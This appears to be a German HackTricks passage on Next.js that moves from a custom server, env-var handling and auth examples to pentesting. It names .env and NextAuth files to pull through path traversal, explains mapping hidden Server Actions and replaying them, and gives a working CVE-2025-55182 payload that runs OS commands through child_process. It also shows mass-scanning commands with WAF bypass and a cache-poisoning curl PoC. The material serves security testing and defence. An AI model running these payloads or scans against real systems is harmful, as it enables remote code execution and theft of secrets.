Zweck: Obwohl Next.js mit einem eingebauten Server geliefert wird, können Sie einen benutzerdefinierten Server für fortgeschrittene Anwendungsfälle wie benutzerdefiniertes Routing oder die Integration mit bestehenden Backend-Services erstellen.
Hinweis: Die Verwendung eines benutzerdefinierten Servers kann die Deployment-Optionen einschränken, insbesondere auf Plattformen wie Vercel, die für den eingebauten Server von Next.js optimiert sind.
Beispiel:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Zusätzliche architektonische und Sicherheitsüberlegungen
Umgebungsvariablen und Konfiguration
Zweck: Sensible Informationen und Konfigurationseinstellungen außerhalb der Codebasis verwalten.
Bewährte Praktiken:
- Verwenden Sie
.env-Dateien: Variablen wie API-Keys in.env.localspeichern (aus der Versionskontrolle ausgeschlossen). - Greifen Sie sicher auf Variablen zu: Verwenden Sie
process.env.VARIABLE_NAME, um auf Umgebungsvariablen zuzugreifen. - Niemals Geheimnisse im Client offenlegen: Stellen Sie sicher, dass sensible Variablen nur serverseitig verwendet werden.
Beispiel:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Hinweis: Um Variablen nur serverseitig zu beschränken, lassen Sie sie aus dem env-Objekt weg oder prefixen Sie sie mit NEXT_PUBLIC_, um sie dem Client zugänglich zu machen.
Nützliche serverseitige Artefakte, die über LFI/Download-Endpunkte angezielt werden sollten
Wenn Sie in einer Next.js-App eine path traversal- oder Download-API finden, zielen Sie auf kompilierte Artefakte ab, die serverseitige secrets und Auth-Logik leak:
.env/.env.localfür session secrets und provider credentials..next/routes-manifest.jsonund.next/build-manifest.jsonfür eine vollständige Routenliste..next/server/pages/api/auth/[...nextauth].jsum die kompilierte NextAuth-Konfiguration wiederherzustellen (enthält oft fallback passwords, wennprocess.env-Werte nicht gesetzt sind).next.config.js/next.config.mjsum rewrites, redirects und Middleware-Routing zu überprüfen.
Authentifizierung und Autorisierung
Ansatz:
- Session-basierte Authentifizierung: Verwenden Sie Cookies, um Benutzersessions zu verwalten.
- Token-basierte Authentifizierung: Implementieren Sie JWTs für zustandslose Authentifizierung.
- Drittanbieter-Provider: Integrieren Sie OAuth-Provider (z. B. Google, GitHub) mit Bibliotheken wie
next-auth.
Sicherheitspraktiken:
- Sichere Cookies: Setzen Sie die Attribute
HttpOnly,SecureundSameSite. - Passwort-Hashing: Hashen Sie Passwörter immer, bevor Sie sie speichern.
- Eingabevalidierung: Verhindern Sie Injection-Angriffe, indem Sie Eingaben validieren und sanitisieren.
Beispiel:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Leistungsoptimierung
Strategien:
- Bildoptimierung: Verwende die
next/image-Komponente von Next.js für automatische Bildoptimierung. - Code-Splitting: Nutze dynamische Imports, um Code aufzuteilen und die anfänglichen Ladezeiten zu reduzieren.
- Caching: Implementiere Caching-Strategien für API-Antworten und statische Assets.
- Lazy Loading: Lade Komponenten oder Assets nur, wenn sie benötigt werden.
Beispiel:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Modernes Next.js verwendet “Server Actions”, die auf dem Server ausgeführt werden, aber vom Client aufgerufen werden. In Produktionsumgebungen sind diese Aufrufe undurchsichtig: alle POSTs landen auf einem gemeinsamen Endpoint und werden durch einen build-spezifischen Hash im Next-Action header unterschieden. Beispiel:
POST /
Next-Action: a9f8e2b4c7d1...
When productionBrowserSourceMaps is enabled, minified JS chunks contain calls to createServerReference(...) that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in Next-Action into concrete targets like deleteUserAccount() or exportFinancialData().
Extraktionsansatz (regex on minified JS + optional source maps)
Durchsuche heruntergeladene JS-Chunks nach createServerReference und extrahiere den Hash sowie das Funktions-/Source-Symbol. Zwei nützliche Muster:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Gruppe 1: Server-Action-Hash (40+ hex Zeichen)
- Gruppe 2: Symbol oder Pfad, das sich über die source map, falls vorhanden, auf die ursprüngliche Funktion auflösen lässt
Wenn das Script eine source map angibt (Trailer-Kommentar //# sourceMappingURL=<...>.map), lade sie herunter und löse das Symbol/den Pfad in den ursprünglichen Funktionsnamen auf.
Praktisches Vorgehen
- Passive Erkennung beim Browsen: Requests mit
Next-Action-Headern und JS-Chunk-URLs erfassen. - Die referenzierten JS-Bundles und die zugehörigen
*.map-Dateien herunterladen (falls vorhanden). - Führe das oben stehende regex aus, um ein Hash↔Name-Wörterbuch zu erstellen.
- Nutze das Wörterbuch, um Tests gezielt anzusetzen:
- Namensbasierte Triage (z. B.
transferFunds,exportFinancialData). - Verfolge die Abdeckung über Builds hinweg anhand des Funktionsnamens (Hashes wechseln zwischen Builds).
- Namensbasierte Triage (z. B.
Ausführen versteckter Actions (vorlagenbasierte Anfrage)
Nimm einen gültigen POST, der im Proxy beobachtet wurde, als Vorlage und ersetze den Next-Action-Wert, um eine andere entdeckte Action anzusteuern:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater und teste Autorisierung, Input-Validation und Business-Logik von sonst unerreichbaren Aktionen.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automatisiert das Obige in Burp:
- Durchsucht den Proxy-Verlauf nach JS-Chunks, extrahiert
createServerReference(...)-Einträge und parst Source Maps, wenn verfügbar. - Pflegt ein durchsuchbares Hash↔Funktionsnamen-Wörterbuch und führt De-Duplizierung über Builds anhand des Funktionsnamens durch.
- Kann ein gültiges Template-POST finden und einen versandbereiten Repeater-Tab öffnen, wobei der Hash der Zielaktion eingesetzt wird.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Erfordert, dass
productionBrowserSourceMapsin production aktiviert ist, um Namen aus Bundles/Source Maps wiederherzustellen. - Function-name disclosure ist für sich genommen keine vulnerability; nutze sie, um die Entdeckung zu leiten und die Autorisierung jeder Aktion zu testen.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router-Deployments, die Server Actions über react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) exponieren, enthalten eine kritische serverseitige prototype pollution während der Flight-Chunk-Deserialisierung. Durch das Konstruieren von $-Referenzen innerhalb einer Flight-Payload kann ein Angreifer von gepolluten Prototypen zu beliebiger JavaScript-Ausführung und anschließend zur OS-Kommandoausführung im Node.js-Prozess pivotieren.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Setze
"then": "$1:__proto__:then", sodass der Resolver einethen-Funktion aufObject.prototypeschreibt. Jedes danach verarbeitete plain object wird dadurch zu einem thenable, wodurch der Angreifer den async control flow innerhalb der RSC-Interna beeinflussen kann. - Rebinding to the global
Functionconstructor: Zeige_response._formData.getauf"$1:constructor:constructor". Während der Auflösung wirdobject.constructor→Object, undObject.constructor→Function, sodass zukünftige Aufrufe von_formData.get()tatsächlichFunction(...)ausführen. - Code execution via
_prefix: Platziere JavaScript-Quelltext in_response._prefix. Wenn das gepollute_formData.getaufgerufen wird, evaluiert das FrameworkFunction(_prefix)(...), sodass das injizierte JSrequire('child_process').exec()oder andere Node-Primitives ausführen kann.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Kartierung der Offenlegung von React Server Functions
React Server Functions (RSF) sind alle Funktionen, die die 'use server';-Direktive enthalten. Jede form action, mutation oder fetch helper, die an eine dieser Funktionen gebunden ist, wird zu einem RSC Flight endpoint, das problemlos attacker-supplied payloads deserialisiert. Nützliche Recon-Schritte, abgeleitet aus React2Shell-Assessments:
- Statische Bestandsaufnahme: Suche nach der Direktive, um zu ermitteln, wie viele RSFs vom Framework automatisch offengelegt werden.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- Standardeinstellungen des App Router:
create-next-appaktiviert den App Router + dasapp/-Verzeichnis standardmäßig, wodurch stillschweigend jede Route zu einem RSC-fähigen Endpoint wird. App Router-Ressourcen wie/_next/static/chunks/app/oder Antworten, die Flight-Chunks übertext/x-componentstreamen, sind starke internetexponierte Fingerabdrücke. - Implizit verwundbare RSC-Deployments: Reacts eigene Advisory weist darauf hin, dass Apps, die die RSC-Runtime ausliefern, ausnutzbar sein können selbst ohne explizite RSFs, behandle daher jeden Build, der
react-server-dom-*19.0.0–19.2.0 verwendet, als verdächtig. - Andere Frameworks, die RSC bündeln: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku usw. nutzen denselben Serializer und übernehmen dieselbe remote Angriffsfläche, bis sie gepatchte React-Builds einbinden.
Versionsabdeckung (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: verwundbar in 19.0.0, 19.1.0–19.1.1 und 19.2.0; gepatcht in 19.0.1, 19.1.2 und 19.2.1 jeweils.- Next.js stable: App Router-Releases 15.0.0–16.0.6 enthalten den verwundbaren RSC-Stack. Patch-Trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 beinhalten gefixte deps, daher ist jeder Build unter diesen Versionen von hohem Interesse.
- Next.js canary:
14.3.0-canary.77+liefert ebenfalls die fehlerhafte Runtime und es fehlen derzeit gepatchte canary-Drops, wodurch diese Fingerabdrücke starke Kandidaten für Exploits sind.
Remote-Erkennungsorakel
Assetnote’s react2shell-scanner sendet eine konstruierte multipart Flight-Anfrage an Kandidatenpfade und beobachtet das Serververhalten:
- Standardmodus führt eine deterministische RCE-Payload aus (Mathe-Operation, die via
X-Action-Redirectreflektiert wird) und beweist damit Codeausführung. --safe-checkmode verfälscht die Flight-Nachricht absichtlich so, dass gepatchte Server200/400zurückgeben, während verwundbare ZieleHTTP/500-Antworten ausgeben, die die TeilzeichenketteE{"digest"im Body enthalten. Dieses(500 + digest)-Paar ist derzeit das zuverlässigste remote Orakel, das von Verteidigern veröffentlicht wurde.- Eingebaute
--waf-bypass,--vercel-waf-bypassund--windowsSwitches passen das Payload-Layout an, fügen Junk voran oder tauschen OS-Commands aus, damit du reale Internet-Assets sondieren kannst.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Weitere aktuelle App Router-Probleme (Ende 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – fehlerhaft formatierte Flight-Payloads können den RSC-Resolver in eine Endlosschleife treiben (pre-auth DoS) oder die Serialisierung von kompiliertem Server Function code für andere Aktionen erzwingen. App Router builds ≥13.3 sind betroffen, bis gepatcht; 15.0.x–16.0.x benötigen die spezifischen Patchzeilen aus dem Upstream-Advisory. Wiederhole den normalen Server Action-Pfad, stream aber einen
text/x-component-Body mit missbräuchlichen$-Referenzen. Hinter einem CDN bleibt die hängende Verbindung durch Cache-Timeouts offen, was den DoS kostengünstig macht.
- Triage tip: Ungepatchte Ziele geben nach fehlerhaften Flight-Payloads
500mitE{"digest"zurück; gepatchte Builds geben400/200zurück. Teste jeden Endpoint, der bereits Flight-Chunks streamt (suche nachNext-Action-Headern odertext/x-component-Antworten) und spiele die Anfrage mit einem modifizierten Payload erneut ab.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – fehlendes
Varyerlaubt, dass eineAccept: text/x-component-Antwort gecached und an Browser geliefert wird, die HTML erwarten. Eine einzige Priming-Anfrage kann die Seite durch rohe RSC-Payloads ersetzen. PoC-Ablauf:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
Referenzen
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


